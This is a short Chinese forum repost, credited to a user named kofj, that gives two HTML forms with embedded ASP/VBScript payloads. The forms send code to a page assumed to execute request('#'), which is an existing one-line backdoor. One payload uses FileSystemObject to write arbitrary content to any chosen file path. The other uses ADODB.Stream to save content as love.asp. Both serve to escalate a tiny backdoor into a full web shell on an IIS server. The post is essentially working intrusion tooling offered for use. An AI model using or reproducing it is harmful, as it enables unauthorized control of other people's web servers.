文章作者:kofj
信息来源:
www.nspcn.org
看到上级版面里全是PHP的,不知道发这里对不对,暂时发这里好了
原文转载如下:
FSO的是我写的
ADODB_STREAM的是我改写的
复制内容到剪贴板
代码:
code:
<form action=http://localhost/udj3.asp method=post>
<textarea name=# cols=120 rows=18 width=45>dim objFSO
dim fdata
dim objCountFile
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
fdata = request("textcontent")
Set objCountFile=objFSO.CreateTextFile(request("textpath"),True)
objCountFile.Write fdata
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
'the server page may be execute request("#") or something similar
'coded by [email]kofj2005@gmail.com[/email]
'you can get the complete file path by two lines of code under here
'filepath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))
'response.write filepath
</textarea>
<textarea name=textcontent cols=120 rows=10 width=45>text file content</textarea><BR>
<textarea name=textpath cols=120 rows=1 width=45>text file path</textarea><BR>
<input type=submit value="submit">if the server supports adodb_stream
复制内容到剪贴板
代码:
code:
<form action=http://localhost/exec.asp method=post>
<textarea name=# cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
'you can change CharSet if necessary
lP.writetext request("textcontent")
lP.SaveToFile server.mappath("love.asp"),2
lP.Close
set lP=nothing
response.redirect "love.asp"
'the server page may be execute request("#") or something similar
'recoded by [email]kofj2005@gmail.com[/email]
'you can get the complete file path by two lines of code under here
'filepath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))
'response.write filepath
</textarea>
<textarea name=textcontent cols=120 rows=10 width=45>text content</textarea><BR><center><br>
<input type=submit value="submit">